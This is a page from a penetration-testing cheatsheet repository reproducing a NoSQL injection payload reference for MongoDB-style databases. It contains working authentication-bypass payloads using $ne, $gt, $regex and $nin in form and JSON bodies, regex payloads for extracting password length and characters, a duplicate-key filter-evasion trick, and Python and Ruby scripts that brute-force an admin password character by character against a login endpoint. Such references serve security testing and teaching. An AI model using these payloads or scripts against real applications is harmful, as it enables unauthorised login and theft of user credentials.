daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (8519B)


      1 ---
      2 title: "NoSQL Injection"
      3 topic: "NoSQL Injection"
      4 topicSlug: "nosql-injection"
      5 sourcePath: "NoSQL Injection/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/NoSQL%20Injection/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # NoSQL Injection
     12 
     13 > NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
     14 
     15 ## Summary
     16 
     17 * [Tools](#tools)
     18 * [Methodology](#methodology)
     19     * [Operator Injection](#operator-injection)
     20     * [Authentication Bypass](#authentication-bypass)
     21     * [Extract Length Information](#extract-length-information)
     22     * [Extract Data Information](#extract-data-information)
     23     * [WAF and Filters](#waf-and-filters)
     24 * [Blind NoSQL](#blind-nosql)
     25     * [POST with JSON Body](#post-with-json-body)
     26     * [POST with urlencoded Body](#post-with-urlencoded-body)
     27     * [GET](#get)
     28 * [Labs](#references)
     29 * [References](#references)
     30 
     31 ## Tools
     32 
     33 * [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool
     34 * [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection
     35 * [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.
     36 
     37 ## Methodology
     38 
     39 NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.
     40 
     41 ### Operator Injection
     42 
     43 | Operator | Description        |
     44 | -------- | ------------------ |
     45 | $ne      | not equal          |
     46 | $regex   | regular expression |
     47 | $gt      | greater than       |
     48 | $lt      | lower than         |
     49 | $nin     | not in             |
     50 
     51 Example: A web application has a product search feature
     52 
     53 ```js
     54 db.products.find({ "price": userInput })
     55 ```
     56 
     57 An attacker can inject a NoSQL query: `{ "$gt": 0 }`.
     58 
     59 ```js
     60 db.products.find({ "price": { "$gt": 0 } })
     61 ```
     62 
     63 Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.
     64 
     65 ### Authentication Bypass
     66 
     67 Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
     68 
     69 * HTTP data
     70 
     71   ```ps1
     72   username[$ne]=toto&password[$ne]=toto
     73   login[$regex]=a.*&pass[$ne]=lol
     74   login[$gt]=admin&login[$lt]=test&pass[$ne]=1
     75   login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
     76   ```
     77 
     78 * JSON data
     79 
     80   ```json
     81   {"username": {"$ne": null}, "password": {"$ne": null}}
     82   {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
     83   {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
     84   {"username": {"$gt":""}, "password": {"$gt":""}}
     85   ```
     86 
     87 ### Extract Length Information
     88 
     89 Inject a payload using the $regex operator. The injection will work when the length is correct.
     90 
     91 ```ps1
     92 username[$ne]=toto&password[$regex]=.{1}
     93 username[$ne]=toto&password[$regex]=.{3}
     94 ```
     95 
     96 ### Extract Data Information
     97 
     98 Extract data with "`$regex`" query operator.
     99 
    100 * HTTP data
    101 
    102   ```ps1
    103   username[$ne]=toto&password[$regex]=m.{2}
    104   username[$ne]=toto&password[$regex]=md.{1}
    105   username[$ne]=toto&password[$regex]=mdp
    106 
    107   username[$ne]=toto&password[$regex]=m.*
    108   username[$ne]=toto&password[$regex]=md.*
    109   ```
    110 
    111 * JSON data
    112 
    113   ```json
    114   {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
    115   {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
    116   {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
    117   ```
    118 
    119 Extract data with "`$in`" query operator.
    120 
    121 ```json
    122 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
    123 ```
    124 
    125 ### WAF and Filters
    126 
    127 **Remove pre-condition**:
    128 
    129 In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.
    130 
    131 ```js
    132 {"id":"10", "id":"100"} 
    133 ```
    134 
    135 In this case, the final value of "id" will be "100".
    136 
    137 ## Blind NoSQL
    138 
    139 ### POST with JSON Body
    140 
    141 Python script:
    142 
    143 ```python
    144 import requests
    145 import urllib3
    146 import string
    147 import urllib
    148 urllib3.disable_warnings()
    149 
    150 username="admin"
    151 password=""
    152 u="http://example.org/login"
    153 headers={'content-type': 'application/json'}
    154 
    155 while True:
    156     for c in string.printable:
    157         if c not in ['*','+','.','?','|']:
    158             payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
    159             r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
    160             if 'OK' in r.text or r.status_code == 302:
    161                 print("Found one more char : %s" % (password+c))
    162                 password += c
    163 ```
    164 
    165 ### POST with urlencoded Body
    166 
    167 Python script:
    168 
    169 ```python
    170 import requests
    171 import urllib3
    172 import string
    173 import urllib
    174 urllib3.disable_warnings()
    175 
    176 username="admin"
    177 password=""
    178 u="http://example.org/login"
    179 headers={'content-type': 'application/x-www-form-urlencoded'}
    180 
    181 while True:
    182     for c in string.printable:
    183         if c not in ['*','+','.','?','|','&','$']:
    184             payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
    185             r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
    186             if r.status_code == 302 and r.headers['Location'] == '/dashboard':
    187                 print("Found one more char : %s" % (password+c))
    188                 password += c
    189 ```
    190 
    191 ### GET
    192 
    193 Python script:
    194 
    195 ```python
    196 import requests
    197 import urllib3
    198 import string
    199 import urllib
    200 urllib3.disable_warnings()
    201 
    202 username='admin'
    203 password=''
    204 u='http://example.org/login'
    205 
    206 while True:
    207   for c in string.printable:
    208     if c not in ['*','+','.','?','|', '#', '&', '$']:
    209       payload=f"?username={username}&password[$regex]=^{password + c}"
    210       r = requests.get(u + payload)
    211       if 'Yeah' in r.text:
    212         print(f"Found one more char : {password+c}")
    213         password += c
    214 ```
    215 
    216 Ruby script:
    217 
    218 ```ruby
    219 require 'httpx'
    220 
    221 username = 'admin'
    222 password = ''
    223 url = 'http://example.org/login'
    224 # CHARSET = (?!..?~).to_a # all ASCII printable characters
    225 CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
    226 GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
    227 session = HTTPX.plugin(:persistent)
    228 
    229 while true
    230   CHARSET.each do |c|
    231     unless GET_EXCLUDE.include?(c)
    232       payload = "?username=#{username}&password[$regex]=^#{password + c}"
    233       res = session.get(url + payload)
    234       if res.body.to_s.match?('Yeah')
    235         puts "Found one more char : #{password + c}"
    236         password += c
    237       end
    238     end
    239   end
    240 end
    241 ```
    242 
    243 ## Labs
    244 
    245 * [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication)
    246 * [Root Me - NoSQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind)
    247 
    248 ## References
    249 
    250 * [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
    251 * [Getting rid of pre- and post-conditions in NoSQL injections - Reino Mostert - March 11, 2025](https://web.archive.org/web/20260208131430/https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
    252 * [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://web.archive.org/web/20160316144254/http://www.dailysecurity.fr/nosql-injections-classique-blind/)
    253 * [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://web.archive.org/web/20240624015518/https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
    254 * [NoSQL error-based injection - Reino Mostert - March 15, 2025](https://web.archive.org/web/20260208131314/https://sensepost.com/blog/2025/nosql-error-based-injection/)
    255 * [NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://web.archive.org/web/20160916113057/http://zanon.io:80/posts/nosql-injection-in-mongodb)
    256 * [NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists)
    257 * [Testing for NoSQL injection - OWASP - May 2, 2023](https://web.archive.org/web/20200707120423/https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)